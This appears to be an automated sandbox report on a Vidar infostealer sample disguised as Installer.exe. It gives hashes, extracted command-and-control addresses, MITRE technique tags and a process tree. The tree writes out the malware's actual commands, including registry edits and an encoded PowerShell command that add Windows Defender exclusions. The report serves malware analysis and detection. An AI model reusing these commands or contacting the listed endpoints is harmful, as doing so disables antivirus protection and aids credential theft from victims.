vidar | f1fdb3e045eff53d860bb757980dd194b392910fc8a9b640bae912388cda9c4c

Analysis

max time kernel
152s
max time network
164s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
22/08/2026, 15:22

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Installer.exe
Size 168.1MB
Sample260822-srz65szzbv
SHA256 f1fdb3e045eff53d860bb757980dd194b392910fc8a9b640bae912388cda9c4c
MD5 df2352fff1deec3d9690c5957093130e
SHA1 1eefade8d8bc0b9f7bf1807e9b376340e8aa907c
SHA512 d5c98a909df656a48b7c389776578ce0886a544ebe0e5d5884a02f39f5780289e1deba7397941ff6839dc45a028abcd7f6c6656d3e9838d4aad2ef4d229f54fd
SSDEEP 1572864:wgRMg/aKxl4b7qCDQtjovZT78wLF2pArKgDz6ObiISXD+Dyj3eRalD2kGpTe/2Hk:cg/geeFXzGa9Fz
TLSH
T144887B03E2DA50D9F05DD1B18B979633EA72B84A4728B6DF265407162F77EE02B3DB10
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

5fdb6df778631818165110294c620890 defense_evasion execution vidar stealer trojan

Malware Config

Extracted

Family

vidar

Version

Botnet

5fdb6df778631818165110294c620890

https://65.109.35.163
https://telegram.me/j0tt0s
https://steamcommunity.com/profiles/76561198660175584

Attributes

user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/144.0.0.0

Signatures

Family: Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar

Windows security bypass 2 TTPs 7 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4980	powershell.exe
5536	powershell.exe
2532	powershell.exe
4596	powershell.exe
1800	powershell.exe
4980	powershell.exe
4972	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
11	4148	Installer.exe

Executes dropped EXE 6 IoCs

pid	Process
3676	payload.exe
1884	payload.exe
5904	payload.exe
916	payload.exe
4696	payload.exe
4912	payload.exe

Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 1 IoCs

Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

defense_evasion

File/Path Exclusions

T1564.012

Disable or Modify Tools

T1562.001

pid	Process
1576	cmd.exe

System Binary Proxy Execution: Rundll32 1 TTPs 2 IoCs

Abuse Rundll32 to proxy execution of malicious code.

defense_evasion

Rundll32

T1218.011

pid	Process
3480	cmd.exe
5808	rundll32.exe

Hide Artifacts: Hidden Window 1 TTPs 2 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

pid	Process
1576	cmd.exe
5452	cmd.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
1104	wscript.exe
6000	wscript.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs

pid	Process
3676	payload.exe
1884	payload.exe
5904	payload.exe
916	payload.exe
4696	payload.exe
4912	payload.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
1576	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 30 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2132	cmd.exe
3800	cmd.exe
4264	cmd.exe
3736	cmd.exe
1384	cmd.exe
5264	cmd.exe
2572	cmd.exe
5760	cmd.exe
4296	cmd.exe
2528	cmd.exe
4852	cmd.exe
556	cmd.exe
5968	cmd.exe
1396	cmd.exe
3492	cmd.exe
3108	cmd.exe
5640	cmd.exe
3416	cmd.exe
5128	cmd.exe
3080	cmd.exe
1932	cmd.exe
5624	cmd.exe
2240	cmd.exe
5724	cmd.exe
5024	cmd.exe
2588	cmd.exe
2236	cmd.exe
4644	cmd.exe
5552	cmd.exe
4556	cmd.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	explorer.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 61 IoCs

pid	Process
4148	Installer.exe
4148	Installer.exe
4148	Installer.exe
4148	Installer.exe
2740	powershell.exe
2740	powershell.exe
2740	powershell.exe
5536	powershell.exe
5536	powershell.exe
5536	powershell.exe
2532	powershell.exe
2532	powershell.exe
2532	powershell.exe
4596	powershell.exe
4596	powershell.exe
4596	powershell.exe
1800	powershell.exe
1800	powershell.exe
1800	powershell.exe
4980	powershell.exe
4980	powershell.exe
4980	powershell.exe
3676	payload.exe
3676	payload.exe
3676	payload.exe
3676	payload.exe
3676	payload.exe
3676	payload.exe
1884	payload.exe
1884	payload.exe
1884	payload.exe
1884	payload.exe
1884	payload.exe
1884	payload.exe
5904	payload.exe
5904	payload.exe
5904	payload.exe
5904	payload.exe
5904	payload.exe
5904	payload.exe
916	payload.exe
916	payload.exe
916	payload.exe
916	payload.exe
916	payload.exe
916	payload.exe
4972	powershell.exe
4972	powershell.exe
4972	powershell.exe
4696	payload.exe
4696	payload.exe
4696	payload.exe
4696	payload.exe
4696	payload.exe
4696	payload.exe
4912	payload.exe
4912	payload.exe
4912	payload.exe
4912	payload.exe
4912	payload.exe
4912	payload.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4148	Installer.exe
Token: SeCreatePagefilePrivilege	4148	Installer.exe
Token: SeShutdownPrivilege	4148	Installer.exe
Token: SeCreatePagefilePrivilege	4148	Installer.exe
Token: SeDebugPrivilege	2740	powershell.exe
Token: SeShutdownPrivilege	4148	Installer.exe
Token: SeCreatePagefilePrivilege	4148	Installer.exe
Token: SeIncreaseQuotaPrivilege	2740	powershell.exe
Token: SeSecurityPrivilege	2740	powershell.exe
Token: SeTakeOwnershipPrivilege	2740	powershell.exe
Token: SeLoadDriverPrivilege	2740	powershell.exe
Token: SeSystemProfilePrivilege	2740	powershell.exe
Token: SeSystemtimePrivilege	2740	powershell.exe
Token: SeProfSingleProcessPrivilege	2740	powershell.exe
Token: SeIncBasePriorityPrivilege	2740	powershell.exe
Token: SeCreatePagefilePrivilege	2740	powershell.exe
Token: SeBackupPrivilege	2740	powershell.exe
Token: SeRestorePrivilege	2740	powershell.exe
Token: SeShutdownPrivilege	2740	powershell.exe
Token: SeDebugPrivilege	2740	powershell.exe
Token: SeSystemEnvironmentPrivilege	2740	powershell.exe
Token: SeRemoteShutdownPrivilege	2740	powershell.exe
Token: SeUndockPrivilege	2740	powershell.exe
Token: SeManageVolumePrivilege	2740	powershell.exe
Token: 33	2740	powershell.exe
Token: 34	2740	powershell.exe
Token: 35	2740	powershell.exe
Token: 36	2740	powershell.exe
Token: SeShutdownPrivilege	4148	Installer.exe
Token: SeCreatePagefilePrivilege	4148	Installer.exe
Token: SeIncreaseQuotaPrivilege	2740	powershell.exe
Token: SeSecurityPrivilege	2740	powershell.exe
Token: SeTakeOwnershipPrivilege	2740	powershell.exe
Token: SeLoadDriverPrivilege	2740	powershell.exe
Token: SeSystemProfilePrivilege	2740	powershell.exe
Token: SeSystemtimePrivilege	2740	powershell.exe
Token: SeProfSingleProcessPrivilege	2740	powershell.exe
Token: SeIncBasePriorityPrivilege	2740	powershell.exe
Token: SeCreatePagefilePrivilege	2740	powershell.exe
Token: SeBackupPrivilege	2740	powershell.exe
Token: SeRestorePrivilege	2740	powershell.exe
Token: SeShutdownPrivilege	2740	powershell.exe
Token: SeDebugPrivilege	2740	powershell.exe
Token: SeSystemEnvironmentPrivilege	2740	powershell.exe
Token: SeRemoteShutdownPrivilege	2740	powershell.exe
Token: SeUndockPrivilege	2740	powershell.exe
Token: SeManageVolumePrivilege	2740	powershell.exe
Token: 33	2740	powershell.exe
Token: 34	2740	powershell.exe
Token: 35	2740	powershell.exe
Token: 36	2740	powershell.exe
Token: SeIncreaseQuotaPrivilege	2740	powershell.exe
Token: SeSecurityPrivilege	2740	powershell.exe
Token: SeTakeOwnershipPrivilege	2740	powershell.exe
Token: SeLoadDriverPrivilege	2740	powershell.exe
Token: SeSystemProfilePrivilege	2740	powershell.exe
Token: SeSystemtimePrivilege	2740	powershell.exe
Token: SeProfSingleProcessPrivilege	2740	powershell.exe
Token: SeIncBasePriorityPrivilege	2740	powershell.exe
Token: SeCreatePagefilePrivilege	2740	powershell.exe
Token: SeBackupPrivilege	2740	powershell.exe
Token: SeRestorePrivilege	2740	powershell.exe
Token: SeShutdownPrivilege	2740	powershell.exe
Token: SeDebugPrivilege	2740	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3764	explorer.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4148 wrote to memory of 5552	4148	Installer.exe	89
PID 4148 wrote to memory of 4616	4148	Installer.exe	91
PID 4148 wrote to memory of 4264	4148	Installer.exe	92
PID 4264 wrote to memory of 1812	4264	cmd.exe	94
PID 1812 wrote to memory of 3796	1812	net.exe	95
PID 4148 wrote to memory of 568	4148	Installer.exe	96
PID 4148 wrote to memory of 2572	4148	Installer.exe	97
PID 2572 wrote to memory of 256	2572	cmd.exe	99
PID 4148 wrote to memory of 5760	4148	Installer.exe	100
PID 5760 wrote to memory of 3968	5760	cmd.exe	102
PID 3968 wrote to memory of 3172	3968	net.exe	103
PID 4148 wrote to memory of 4556	4148	Installer.exe	104
PID 4148 wrote to memory of 5640	4148	Installer.exe	105
PID 4148 wrote to memory of 5968	4148	Installer.exe	106
PID 4148 wrote to memory of 4296	4148	Installer.exe	107
PID 4148 wrote to memory of 4644	4148	Installer.exe	108
PID 4148 wrote to memory of 5024	4148	Installer.exe	109
PID 4148 wrote to memory of 2236	4148	Installer.exe	110
PID 4148 wrote to memory of 5624	4148	Installer.exe	111
PID 4148 wrote to memory of 2588	4148	Installer.exe	113
PID 4148 wrote to memory of 556	4148	Installer.exe	114
PID 4148 wrote to memory of 1932	4148	Installer.exe	115
PID 4148 wrote to memory of 3080	4148	Installer.exe	116
PID 4148 wrote to memory of 5128	4148	Installer.exe	117
PID 4148 wrote to memory of 3416	4148	Installer.exe	118
PID 3080 wrote to memory of 5700	3080	cmd.exe	132
PID 5624 wrote to memory of 2952	5624	cmd.exe	133
PID 5968 wrote to memory of 2660	5968	cmd.exe	134
PID 5024 wrote to memory of 3800	5024	cmd.exe	135
PID 4556 wrote to memory of 1104	4556	cmd.exe	136
PID 4644 wrote to memory of 2232	4644	cmd.exe	137
PID 5640 wrote to memory of 5436	5640	cmd.exe	138
PID 2236 wrote to memory of 3384	2236	cmd.exe	139
PID 556 wrote to memory of 4964	556	cmd.exe	140
PID 4296 wrote to memory of 2488	4296	cmd.exe	141
PID 2588 wrote to memory of 5432	2588	cmd.exe	142
PID 1932 wrote to memory of 5124	1932	cmd.exe	143
PID 5128 wrote to memory of 2452	5128	cmd.exe	144
PID 3416 wrote to memory of 2740	3416	cmd.exe	145
PID 4148 wrote to memory of 2528	4148	Installer.exe	147
PID 2528 wrote to memory of 5536	2528	cmd.exe	149
PID 4148 wrote to memory of 2132	4148	Installer.exe	150
PID 2132 wrote to memory of 5752	2132	cmd.exe	152
PID 4148 wrote to memory of 4852	4148	Installer.exe	153
PID 4852 wrote to memory of 2532	4852	cmd.exe	155
PID 4148 wrote to memory of 2240	4148	Installer.exe	156
PID 2240 wrote to memory of 5816	2240	cmd.exe	158
PID 4148 wrote to memory of 3736	4148	Installer.exe	159
PID 3736 wrote to memory of 4596	3736	cmd.exe	161
PID 4148 wrote to memory of 5264	4148	Installer.exe	162
PID 5264 wrote to memory of 3208	5264	cmd.exe	164
PID 4148 wrote to memory of 1396	4148	Installer.exe	165
PID 1396 wrote to memory of 1800	1396	cmd.exe	167
PID 4148 wrote to memory of 3108	4148	Installer.exe	168
PID 3108 wrote to memory of 1004	3108	cmd.exe	170
PID 4148 wrote to memory of 1576	4148	Installer.exe	171
PID 1576 wrote to memory of 4980	1576	cmd.exe	173
PID 4148 wrote to memory of 3676	4148	Installer.exe	175
PID 4148 wrote to memory of 3800	4148	Installer.exe	176
PID 3800 wrote to memory of 5724	3800	cmd.exe	178
PID 5724 wrote to memory of 1884	5724	cmd.exe	179
PID 4148 wrote to memory of 1384	4148	Installer.exe	180
PID 1384 wrote to memory of 5420	1384	cmd.exe	182
PID 3764 wrote to memory of 5904	3764	explorer.exe	184

C:\Users\Admin\AppData\Local\Temp\Installer.exe
"C:\Users\Admin\AppData\Local\Temp\Installer.exe"
1⤵
- Downloads MZ/PE file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4148
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "ps -p 5736 -o comm=,ppid="
  2⤵
  - Executes a command shell one-liner
  PID:5552
- C:\Users\Admin\AppData\Local\Temp\Installer.exe
  "C:\Users\Admin\AppData\Local\Temp\Installer.exe" --type=gpu-process --disable-gpu-sandbox --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1708 --field-trial-handle=1720,i,11957775432468594072,8368349569803974363,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2
  2⤵
  PID:4616
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4264
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1812
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:3796
- C:\Users\Admin\AppData\Local\Temp\Installer.exe
  "C:\Users\Admin\AppData\Local\Temp\Installer.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --mojo-platform-channel-handle=1928 --field-trial-handle=1720,i,11957775432468594072,8368349569803974363,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:3
  2⤵
  PID:568
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Personal"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2572
- - C:\Windows\system32\reg.exe
    reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Personal
    3⤵
    PID:256
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5760
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3968
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:3172
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\cfghost_e29944.vbs""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4556
- - C:\Windows\system32\wscript.exe
    wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\cfghost_e29944.vbs"
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:1104
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Installer.exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5640
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Installer.exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:5436
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Installer.exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5968
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Installer.exe" /t REG_DWORD /d 0 /f
    3⤵
    PID:2660
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\temp\mt4j5ekbe572" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4296
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\temp\mt4j5ekbe572" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:2488
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\temp\mt4j5ekbe572" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4644
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\temp\mt4j5ekbe572" /t REG_DWORD /d 0 /f
    3⤵
    PID:2232
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\temp" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5024
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\temp" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:3800
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\temp" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2236
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\temp" /t REG_DWORD /d 0 /f
    3⤵
    PID:3384
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\temp\mt4j5ekbe572\payload.exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5624
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\temp\mt4j5ekbe572\payload.exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:2952
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\temp\mt4j5ekbe572\payload.exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2588
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\temp\mt4j5ekbe572\payload.exe" /t REG_DWORD /d 0 /f
    3⤵
    PID:5432
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:556
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:4964
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1932
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:5124
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3080
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:5700
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5128
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f
    3⤵
    PID:2452
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABJAG4AcwB0AGEAbABsAGUAcgAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABTAGUAdAB1AHAAXAB0AGUAbQBwAFwAbQB0ADQAagA1AGUAawBiAGUANQA3ADIAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFMAZQB0AHUAcABcAHQAZQBtAHAAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFMAZQB0AHUAcABcAHQAZQBtAHAAXABtAHQANABqADUAZQBrAGIAZQA1ADcAMgBcAHAAYQB5AGwAbwBhAGQALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAEUAeAB0AGUAbgBzAGkAbwBuACAAJwAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIAAnAC4AdABtAHAAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAJwBwAGEAeQBsAG8AYQBkAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAA=="
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3416
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
